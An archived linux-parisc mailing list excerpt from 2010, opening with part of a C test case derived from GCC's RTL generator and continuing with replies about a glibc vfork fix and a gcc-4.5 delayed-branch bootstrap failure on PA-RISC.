DEF_RTL_EXPR(GE, "ge", "ee", RTX_COMPARE)
DEF_RTL_EXPR(GT, "gt", "ee", RTX_COMPARE)
DEF_RTL_EXPR(LE, "le", "ee", RTX_COMPARE)
DEF_RTL_EXPR(LT, "lt", "ee", RTX_COMPARE)
DEF_RTL_EXPR(GEU, "geu", "ee", RTX_COMPARE)
DEF_RTL_EXPR(GTU, "gtu", "ee", RTX_COMPARE)
DEF_RTL_EXPR(LEU, "leu", "ee", RTX_COMPARE)
DEF_RTL_EXPR(LTU, "ltu", "ee", RTX_COMPARE)
DEF_RTL_EXPR(UNORDERED, "unordered", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(ORDERED, "ordered", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(UNEQ, "uneq", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(UNGE, "unge", "ee", RTX_COMPARE)
DEF_RTL_EXPR(UNGT, "ungt", "ee", RTX_COMPARE)
DEF_RTL_EXPR(UNLE, "unle", "ee", RTX_COMPARE)
DEF_RTL_EXPR(UNLT, "unlt", "ee", RTX_COMPARE)
DEF_RTL_EXPR(LTGT, "ltgt", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(SIGN_EXTEND, "sign_extend", "e", RTX_UNARY)
DEF_RTL_EXPR(ZERO_EXTEND, "zero_extend", "e", RTX_UNARY)
DEF_RTL_EXPR(TRUNCATE, "truncate", "e", RTX_UNARY)
DEF_RTL_EXPR(FLOAT_EXTEND, "float_extend", "e", RTX_UNARY)
DEF_RTL_EXPR(FLOAT_TRUNCATE, "float_truncate", "e", RTX_UNARY)
DEF_RTL_EXPR(FLOAT, "float", "e", RTX_UNARY)
DEF_RTL_EXPR(FIX, "fix", "e", RTX_UNARY)
DEF_RTL_EXPR(UNSIGNED_FLOAT, "unsigned_float", "e", RTX_UNARY)
DEF_RTL_EXPR(UNSIGNED_FIX, "unsigned_fix", "e", RTX_UNARY)
DEF_RTL_EXPR(FRACT_CONVERT, "fract_convert", "e", RTX_UNARY)
DEF_RTL_EXPR(UNSIGNED_FRACT_CONVERT, "unsigned_fract_convert", "e", RTX_UNARY)
DEF_RTL_EXPR(SAT_FRACT, "sat_fract", "e", RTX_UNARY)
DEF_RTL_EXPR(UNSIGNED_SAT_FRACT, "unsigned_sat_fract", "e", RTX_UNARY)
DEF_RTL_EXPR(ABS, "abs", "e", RTX_UNARY)
DEF_RTL_EXPR(SQRT, "sqrt", "e", RTX_UNARY)
DEF_RTL_EXPR(BSWAP, "bswap", "e", RTX_UNARY)
DEF_RTL_EXPR(FFS, "ffs", "e", RTX_UNARY)
DEF_RTL_EXPR(CLZ, "clz", "e", RTX_UNARY)
DEF_RTL_EXPR(CTZ, "ctz", "e", RTX_UNARY)
DEF_RTL_EXPR(POPCOUNT, "popcount", "e", RTX_UNARY)
DEF_RTL_EXPR(PARITY, "parity", "e", RTX_UNARY)
DEF_RTL_EXPR(SIGN_EXTRACT, "sign_extract", "eee", RTX_BITFIELD_OPS)
DEF_RTL_EXPR(ZERO_EXTRACT, "zero_extract", "eee", RTX_BITFIELD_OPS)
DEF_RTL_EXPR(HIGH, "high", "e", RTX_CONST_OBJ)
DEF_RTL_EXPR(LO_SUM, "lo_sum", "ee", RTX_OBJ)
DEF_RTL_EXPR(VEC_MERGE, "vec_merge", "eee", RTX_TERNARY)
DEF_RTL_EXPR(VEC_SELECT, "vec_select", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(VEC_CONCAT, "vec_concat", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(VEC_DUPLICATE, "vec_duplicate", "e", RTX_UNARY)
DEF_RTL_EXPR(SS_PLUS, "ss_plus", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(US_PLUS, "us_plus", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(SS_MINUS, "ss_minus", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(SS_NEG, "ss_neg", "e", RTX_UNARY)
DEF_RTL_EXPR(US_NEG, "us_neg", "e", RTX_UNARY)
DEF_RTL_EXPR(SS_ABS, "ss_abs", "e", RTX_UNARY)
DEF_RTL_EXPR(SS_ASHIFT, "ss_ashift", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(US_ASHIFT, "us_ashift", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(US_MINUS, "us_minus", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(SS_TRUNCATE, "ss_truncate", "e", RTX_UNARY)
DEF_RTL_EXPR(US_TRUNCATE, "us_truncate", "e", RTX_UNARY)
DEF_RTL_EXPR(VAR_LOCATION, "var_location", "tei", RTX_EXTRA)
};
#define ARRAY_SIZE(a) (sizeof (a) / sizeof ((a)[0]))
#define NUM_RTX_CODE ARRAY_SIZE(defs)

 const char *formats[NUM_RTX_CODE];

 const char *type_from_format	(int);
 const char *accessor_from_format	(int);
 int special_format		(const char *);
 void find_formats		(void);
 void gendecl			(const char *);


 const char *
type_from_format (int c)
{
  switch (c)
    {
    case 'i':
      return "int ";

    case 'w':
      return "HOST_WIDE_INT ";

    case 's':
      return "const char *";

    case 'e':  case 'u':
      return "rtx ";

    case 'E':
      return "rtvec ";
    case 'b':
      return "struct bitmap_head_def *";  /* bitmap - typedef not available */
    case 't':
      return "union tree_node *";  /* tree - typedef not available */
    case 'B':
      return "struct basic_block_def *";  /* basic block - typedef not available */
    default:
      gcc_unreachable ();
    }
}

/* Decode a format letter into the proper accessor function.  */

 const char *
accessor_from_format (int c)
{
  switch (c)
    {
    case 'i':
      return "XINT";

    case 'w':
      return "XWINT";

    case 's':
      return "XSTR";

    case 'e':  case 'u':
      return "XEXP";

    case 'E':
      return "XVEC";

    case 'b':
      return "XBITMAP";

    case 't':
      return "XTREE";

    case 'B':
      return "XBBDEF";

    default:
      gcc_unreachable ();
    }
}


/* Place a list of all format specifiers we use into the array FORMAT.  */

 void
find_formats (void)
{
  unsigned int i;

  for (i = 0; i < NUM_RTX_CODE; i++)
    {
      const char **f;

     if (strchr (defs[i].format, '*') != 0 || strchr (defs[i].format, 'V') != 0 || strchr (defs[i].format, 'S') != 0 || strchr (defs[i].format, 'n') != 0)
       continue;

      for (f = formats; *f; f++)
	if (! strcmp (*f, defs[i].format))
	  break;

      if (*f == 0)
	*f = defs[i].format;
    }
}

/* Write the declarations for the routine to allocate RTL with FORMAT.  */

 void
gendecl (const char *format)
{
  const char *p;
  int i, pos;

  printf ("extern rtx gen_rtx_fmt_%s_stat\t (RTX_CODE, ", format);
  printf ("enum machine_mode mode");

  /* Write each parameter that is needed and start a new line when the line
     would overflow.  */
  for (p = format, i = 0, pos = 75; *p != 0; p++)
    if (*p != '0')
      {
	int ourlen = strlen (type_from_format (*p)) + 6 + (i > 9);

	printf (",");
	if (pos + ourlen > 76)
	  printf ("\n\t\t\t\t      "), pos = 39;

	printf (" %sarg%d", type_from_format (*p), i++);
	pos += ourlen;
      }
}



/* This is the main program.  We accept only one argument, "-h", which
   says we are writing the genrtl.h file.  Otherwise we are writing the
   genrtl.c file.  */

int
main (int argc, char **argv)
{
  find_formats ();

  const char **fmt;


  for (fmt = formats; *fmt; ++fmt)
    gendecl (*fmt);

  return 0;
}

--MP_/7fMe95KU5NVNdr3x.NL/hmC--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Sun, 27 Jun 2010 11:41:49 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <AANLkTilRe1fvdQInq5Xo_uX-wGDn94WXLx3QAWKOgrjF@mail.gmail.com>
References: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com>
	<20100620042814.ECC205160@hiauly1.hia.nrc.ca>
	<AANLkTilfnhsd5mWmO_qJeCv0XmZ6IYKw6Il19No3_wnF@mail.gmail.com>
	<AANLkTinFBc9524WWuwrRvuBQGY0OCqjPIZ_t9A7esb-B@mail.gmail.com>
	<20100622225035.GA13794@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1277653317 8026 80.91.229.12 (27 Jun 2010 15:41:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 27 Jun 2010 15:41:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	James.Bottomley@hansenpartnership.com
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 27 17:41:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OStzU-0001qa-RH
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Jun 2010 17:41:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755482Ab0F0Plw convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Jun 2010 11:41:52 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:47627 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755205Ab0F0Plv convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Jun 2010 11:41:51 -0400
Original-Received: by wyb38 with SMTP id 38so1219799wyb.19
        for <linux-parisc@vger.kernel.org>; Sun, 27 Jun 2010 08:41:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=qT2zXA/9AvL+ULkg2tCjN/O9MgQe7eDZSousydfzlsw=;
        b=CQbsQo1kiRNPlK+1JQoao6SmpavgNwbSJr2wRjJoRDSS2qgq0R6ATghFLqUoHjlCqo
         Lnq4OjKkd9DhlKOM5QBiP5dNUiYhAoZO1/bp1TOn/jHRU2aMjrH/HboXeXyd9q6nDfEH
         cORS/hYCcPbdOnMAD/Yg3c69jSdcOJQgVTqqw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=tKoMYfIwHH09b6P11jFEKjxJ9kp//B+ZjVe0NXM1pMEQIooCTneIUsumlVQeoGOdKU
         uWuALG47RDHlD2C9vKbYovm/KFI8dHgN4xzXlX9GJzDrDOmjMqhJGa3ED9uXHNBj4bRA
         BbtDOfshCW2NrwB4bqVEW5x5PWHA8yN7oCwJ0=
Original-Received: by 10.227.68.139 with SMTP id v11mr2759360wbi.227.1277653309282; 
	Sun, 27 Jun 2010 08:41:49 -0700 (PDT)
Original-Received: by 10.216.52.69 with HTTP; Sun, 27 Jun 2010 08:41:49 -0700 (PDT)
In-Reply-To: <20100622225035.GA13794@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: y8FAMnkztlfqzfdFK_lqy6VhnnE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2980
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2980>

On Tue, Jun 22, 2010 at 6:50 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> On Tue, 22 Jun 2010, Carlos O'Donell wrote:
>
>> =A0 =A0 =A0 =A0 /* Return, no need to restore the PIC register. */
>> - =A0 =A0 =A0 ldw =A0 =A0 -84(%sp), %rp
>> - =A0 =A0 =A0 bv =A0 =A0 =A0%r0(%rp)
>> - =A0 =A0 =A0 ldwm =A0 =A0-64(%sp), %r3
>> + =A0 =A0 =A0 ldw =A0 =A0 -20(%sp), %rp
>> + =A0 =A0 =A0 bv,n =A0 =A0%r0(%rp)
>
> For the reasons discussed, I don't believe that %rp should be restore=
d
> from the stack.

The final version of the patch does not restore %sp from the callers st=
ack.

This is now fixed upstream here:
http://sourceware.org/git/?p=3Dglibc-ports.git;a=3Dcommit;h=3D3680f14a7=
d12a9faa86e09aaea1b3aa20713355e

I have pushed this fix into debian-glibc, so it should be in the next
release of the library.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-4.5 -fdelayed-branch strikes back
Date: Sun, 27 Jun 2010 18:20:45 -0400
Organization: nrc.ca
Lines: 403
Approved: news@gmane.org
Message-ID: <20100627222044.GA14627@hiauly1.hia.nrc.ca>
References: <20100604181712.43456ddb@borg.bxl.tuxicoman.be> <20100604193229.473BB515D@hiauly1.hia.nrc.ca> <20100605115808.0ff33504@borg.bxl.tuxicoman.be> <20100607232907.GA10176@hiauly1.hia.nrc.ca> <20100611194516.496c2ddf@zombie> <20100613192447.GA14692@hiauly1.hia.nrc.ca> <20100627154804.1de3b212@borg.bxl.tuxicoman.be>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1277677255 14876 80.91.229.12 (27 Jun 2010 22:20:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 27 Jun 2010 22:20:55 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 28 00:20:52 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OT0Db-0005OG-GJ
	for glpp-linux-parisc@lo.gmane.org; Mon, 28 Jun 2010 00:20:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754106Ab0F0WUt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Jun 2010 18:20:49 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4367 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753156Ab0F0WUt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Jun 2010 18:20:49 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 203EE5160; Sun, 27 Jun 2010 18:20:45 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20100627154804.1de3b212@borg.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2981
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2981>

Hi Guy,

I have not been able to reproduce your problem.  Originally, there
was a problem bootstrapping with

make -j2 LDFLAGS="-Wl,-O1" STAGE1_CFLAGS="-g3 -O2" BOOT_CFLAGS="-g -O2 -pipe -march=2.0" bootstrap-lean &&

but even that went away.  I have built gcc-4.6 (head) and gcc-4.5 (branch)
from svn sources numerous times without problems.  My current bootstrap
compiler is: gcc version 4.4.4 (Debian 4.4.4-5).

In general, delayed branch issues are not target specific as the
majority of the implementation is in reorg.  However, parisc is very
sensitive to reorg bugs.

There have been a few changes to the parisc port in the last month.
The most likely change to have an effect on parisc-linux is the change
to kill -freorder-blocks-and-partition.  I think it unlikely that this
affects bootstrap.  It's possible a change to the common code has
changed things.

More information is needed regarding the nature of the fault, where
it is, and how to reproduce (e.g., can it be reproduced with x86 cross).
If it really is a delayed branch issue, this needs to be a gcc PR.

Dave

On Sun, 27 Jun 2010, Guy Martin wrote:

> 
> Hi Dave,
> 
> What commit/version were you using exactly for your tests ?
> 
> I've setup a debian chroot on both my c3600 and c8000 and I'm able to
> reproduce with the latest experimental gcc :
> gcc version 4.5.1 20100527 (prerelease) (Debian 4.5.0-4) 
> 
> On my gentoo systems, the compiler used to build gcc didn't seem to
> make a difference, I've tried 4.2.4, 4.3.3 and 4.4.3, every gcc-4.5
> compiled with those failed the same way.
> 
> I've reattached the test case since I removed the dependency to
> libiberty.h.
> 
> Regards,
>   Guy
> 
> On Sun, 13 Jun 2010 15:24:47 -0400
> John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> 
> > On Fri, 11 Jun 2010, Guy Martin wrote:
> > 
> > Hi Guy,
> > 
> > > The test case should make things pretty easy to repro. But if you
> > > need some more details let me know.
> > 
> > I wasn't able to get your testcase to fail with my last build of
> > 4.5.1. It used 4.3.3 for the bootstrap compiler.  I'm fairly certain
> > 4.5 is being miscompliled in stage1 when 4.4 is used as the bootstap
> > compiler.
> > 
> > Dave
> 

> /* Generate code to allocate RTL structures.
>    Copyright (C) 1997, 1998, 1999, 2000, 2002, 2003, 2004, 2007
>    Free Software Foundation, Inc.
> 
> This file is part of GCC.
> 
> GCC is free software; you can redistribute it and/or modify it under
> the terms of the GNU General Public License as published by the Free
> Software Foundation; either version 3, or (at your option) any later
> version.
> 
> GCC is distributed in the hope that it will be useful, but WITHOUT ANY
> WARRANTY; without even the implied warranty of MERCHANTABILITY or
> FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
> for more details.
> 
> You should have received a copy of the GNU General Public License
> along with GCC; see the file COPYING3.  If not see
> <http://www.gnu.org/licenses/>.  */
> 
> 
> #include <string.h>
> #include <stdio.h>
> #define gcc_unreachable() __builtin_unreachable()
> 
> struct rtx_definition
> {
>   const char *const enumname, *const name, *const format;
> };
> 
> /* rtl.def needs CONST_DOUBLE_FORMAT, but we don't care what
>    CONST_DOUBLE_FORMAT is because we're not going to be generating
>    anything for CONST_DOUBLE anyway.  */
> #define CONST_DOUBLE_FORMAT ""
> 
> #define DEF_RTL_EXPR(ENUM, NAME, FORMAT, CLASS) { #ENUM, NAME, FORMAT },
> 
>  const struct rtx_definition defs[] =
> {
> DEF_RTL_EXPR(UNKNOWN, "UnKnown", "*", RTX_EXTRA)
> DEF_RTL_EXPR(VALUE, "value", "0", RTX_OBJ)
> DEF_RTL_EXPR(DEBUG_EXPR, "debug_expr", "0", RTX_OBJ)
> DEF_RTL_EXPR(EXPR_LIST, "expr_list", "ee", RTX_EXTRA)
> DEF_RTL_EXPR(INSN_LIST, "insn_list", "ue", RTX_EXTRA)
> DEF_RTL_EXPR(SEQUENCE, "sequence", "E", RTX_EXTRA)
> DEF_RTL_EXPR(ADDRESS, "address", "e", RTX_MATCH)
> DEF_RTL_EXPR(DEBUG_INSN, "debug_insn", "iuuBieie", RTX_INSN)
> DEF_RTL_EXPR(INSN, "insn", "iuuBieie", RTX_INSN)
> DEF_RTL_EXPR(JUMP_INSN, "jump_insn", "iuuBieie0", RTX_INSN)
> DEF_RTL_EXPR(CALL_INSN, "call_insn", "iuuBieiee", RTX_INSN)
> DEF_RTL_EXPR(BARRIER, "barrier", "iuu00000", RTX_EXTRA)
> DEF_RTL_EXPR(CODE_LABEL, "code_label", "iuuB00is", RTX_EXTRA)
> DEF_RTL_EXPR(NOTE, "note", "iuuB0ni", RTX_EXTRA)
> DEF_RTL_EXPR(COND_EXEC, "cond_exec", "ee", RTX_EXTRA)
> DEF_RTL_EXPR(PARALLEL, "parallel", "E", RTX_EXTRA)
> DEF_RTL_EXPR(ASM_INPUT, "asm_input", "si", RTX_EXTRA)
> DEF_RTL_EXPR(ASM_OPERANDS, "asm_operands", "ssiEEEi", RTX_EXTRA)
> DEF_RTL_EXPR(UNSPEC, "unspec", "Ei", RTX_EXTRA)
> DEF_RTL_EXPR(UNSPEC_VOLATILE, "unspec_volatile", "Ei", RTX_EXTRA)
> DEF_RTL_EXPR(ADDR_VEC, "addr_vec", "E", RTX_EXTRA)
> DEF_RTL_EXPR(ADDR_DIFF_VEC, "addr_diff_vec", "eEee0", RTX_EXTRA)
> DEF_RTL_EXPR(PREFETCH, "prefetch", "eee", RTX_EXTRA)
> DEF_RTL_EXPR(SET, "set", "ee", RTX_EXTRA)
> DEF_RTL_EXPR(USE, "use", "e", RTX_EXTRA)
> DEF_RTL_EXPR(CLOBBER, "clobber", "e", RTX_EXTRA)
> DEF_RTL_EXPR(CALL, "call", "ee", RTX_EXTRA)
> DEF_RTL_EXPR(RETURN, "return", "", RTX_EXTRA)
> DEF_RTL_EXPR(EH_RETURN, "eh_return", "", RTX_EXTRA)
> DEF_RTL_EXPR(TRAP_IF, "trap_if", "ee", RTX_EXTRA)
> DEF_RTL_EXPR(CONST_INT, "const_int", "w", RTX_CONST_OBJ)
> DEF_RTL_EXPR(CONST_FIXED, "const_fixed", "www", RTX_CONST_OBJ)
> DEF_RTL_EXPR(CONST_DOUBLE, "const_double", CONST_DOUBLE_FORMAT, RTX_CONST_OBJ)
> DEF_RTL_EXPR(CONST_VECTOR, "const_vector", "E", RTX_CONST_OBJ)
> DEF_RTL_EXPR(CONST_STRING, "const_string", "s", RTX_OBJ)
> DEF_RTL_EXPR(CONST, "const", "e", RTX_CONST_OBJ)
> DEF_RTL_EXPR(PC, "pc", "", RTX_OBJ)
> DEF_RTL_EXPR(REG, "reg", "i00", RTX_OBJ)
> DEF_RTL_EXPR(SCRATCH, "scratch", "0", RTX_OBJ)
> DEF_RTL_EXPR(SUBREG, "subreg", "ei", RTX_EXTRA)
> DEF_RTL_EXPR(STRICT_LOW_PART, "strict_low_part", "e", RTX_EXTRA)
> DEF_RTL_EXPR(CONCAT, "concat", "ee", RTX_OBJ)
> DEF_RTL_EXPR(CONCATN, "concatn", "E", RTX_OBJ)
> DEF_RTL_EXPR(MEM, "mem", "e0", RTX_OBJ)
> DEF_RTL_EXPR(LABEL_REF, "label_ref", "u", RTX_CONST_OBJ)
> DEF_RTL_EXPR(SYMBOL_REF, "symbol_ref", "s00", RTX_CONST_OBJ)
> DEF_RTL_EXPR(CC0, "cc0", "", RTX_OBJ)
> DEF_RTL_EXPR(IF_THEN_ELSE, "if_then_else", "eee", RTX_TERNARY)
> DEF_RTL_EXPR(COMPARE, "compare", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(PLUS, "plus", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(MINUS, "minus", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(NEG, "neg", "e", RTX_UNARY)
> DEF_RTL_EXPR(MULT, "mult", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(SS_MULT, "ss_mult", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(US_MULT, "us_mult", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(DIV, "div", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(SS_DIV, "ss_div", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(US_DIV, "us_div", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(MOD, "mod", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(UDIV, "udiv", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(UMOD, "umod", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(AND, "and", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(IOR, "ior", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(XOR, "xor", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(NOT, "not", "e", RTX_UNARY)
> DEF_RTL_EXPR(ASHIFT, "ashift", "ee", RTX_BIN_ARITH) /* shift left */
> DEF_RTL_EXPR(ROTATE, "rotate", "ee", RTX_BIN_ARITH) /* rotate left */
> DEF_RTL_EXPR(ASHIFTRT, "ashiftrt", "ee", RTX_BIN_ARITH) /* arithmetic shift right */
> DEF_RTL_EXPR(LSHIFTRT, "lshiftrt", "ee", RTX_BIN_ARITH) /* logical shift right */
> DEF_RTL_EXPR(ROTATERT, "rotatert", "ee", RTX_BIN_ARITH) /* rotate right */
> DEF_RTL_EXPR(SMIN, "smin", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(SMAX, "smax", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(UMIN, "umin", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(UMAX, "umax", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(PRE_DEC, "pre_dec", "e", RTX_AUTOINC)
> DEF_RTL_EXPR(PRE_INC, "pre_inc", "e", RTX_AUTOINC)
> DEF_RTL_EXPR(POST_DEC, "post_dec", "e", RTX_AUTOINC)
> DEF_RTL_EXPR(POST_INC, "post_inc", "e", RTX_AUTOINC)
> DEF_RTL_EXPR(PRE_MODIFY, "pre_modify", "ee", RTX_AUTOINC)
> DEF_RTL_EXPR(POST_MODIFY, "post_modify", "ee", RTX_AUTOINC)
> DEF_RTL_EXPR(NE, "ne", "ee", RTX_COMM_COMPARE)
> DEF_RTL_EXPR(EQ, "eq", "ee", RTX_COMM_COMPARE)
> DEF_RTL_EXPR(GE, "ge", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(GT, "gt", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(LE, "le", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(LT, "lt", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(GEU, "geu", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(GTU, "gtu", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(LEU, "leu", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(LTU, "ltu", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(UNORDERED, "unordered", "ee", RTX_COMM_COMPARE)
> DEF_RTL_EXPR(ORDERED, "ordered", "ee", RTX_COMM_COMPARE)
> DEF_RTL_EXPR(UNEQ, "uneq", "ee", RTX_COMM_COMPARE)
> DEF_RTL_EXPR(UNGE, "unge", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(UNGT, "ungt", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(UNLE, "unle", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(UNLT, "unlt", "ee", RTX_COMPARE)
> DEF_RTL_EXPR(LTGT, "ltgt", "ee", RTX_COMM_COMPARE)
> DEF_RTL_EXPR(SIGN_EXTEND, "sign_extend", "e", RTX_UNARY)
> DEF_RTL_EXPR(ZERO_EXTEND, "zero_extend", "e", RTX_UNARY)
> DEF_RTL_EXPR(TRUNCATE, "truncate", "e", RTX_UNARY)
> DEF_RTL_EXPR(FLOAT_EXTEND, "float_extend", "e", RTX_UNARY)
> DEF_RTL_EXPR(FLOAT_TRUNCATE, "float_truncate", "e", RTX_UNARY)
> DEF_RTL_EXPR(FLOAT, "float", "e", RTX_UNARY)
> DEF_RTL_EXPR(FIX, "fix", "e", RTX_UNARY)
> DEF_RTL_EXPR(UNSIGNED_FLOAT, "unsigned_float", "e", RTX_UNARY)
> DEF_RTL_EXPR(UNSIGNED_FIX, "unsigned_fix", "e", RTX_UNARY)
> DEF_RTL_EXPR(FRACT_CONVERT, "fract_convert", "e", RTX_UNARY)
> DEF_RTL_EXPR(UNSIGNED_FRACT_CONVERT, "unsigned_fract_convert", "e", RTX_UNARY)
> DEF_RTL_EXPR(SAT_FRACT, "sat_fract", "e", RTX_UNARY)
> DEF_RTL_EXPR(UNSIGNED_SAT_FRACT, "unsigned_sat_fract", "e", RTX_UNARY)
> DEF_RTL_EXPR(ABS, "abs", "e", RTX_UNARY)
> DEF_RTL_EXPR(SQRT, "sqrt", "e", RTX_UNARY)
> DEF_RTL_EXPR(BSWAP, "bswap", "e", RTX_UNARY)
> DEF_RTL_EXPR(FFS, "ffs", "e", RTX_UNARY)
> DEF_RTL_EXPR(CLZ, "clz", "e", RTX_UNARY)
> DEF_RTL_EXPR(CTZ, "ctz", "e", RTX_UNARY)
> DEF_RTL_EXPR(POPCOUNT, "popcount", "e", RTX_UNARY)
> DEF_RTL_EXPR(PARITY, "parity", "e", RTX_UNARY)
> DEF_RTL_EXPR(SIGN_EXTRACT, "sign_extract", "eee", RTX_BITFIELD_OPS)
> DEF_RTL_EXPR(ZERO_EXTRACT, "zero_extract", "eee", RTX_BITFIELD_OPS)
> DEF_RTL_EXPR(HIGH, "high", "e", RTX_CONST_OBJ)
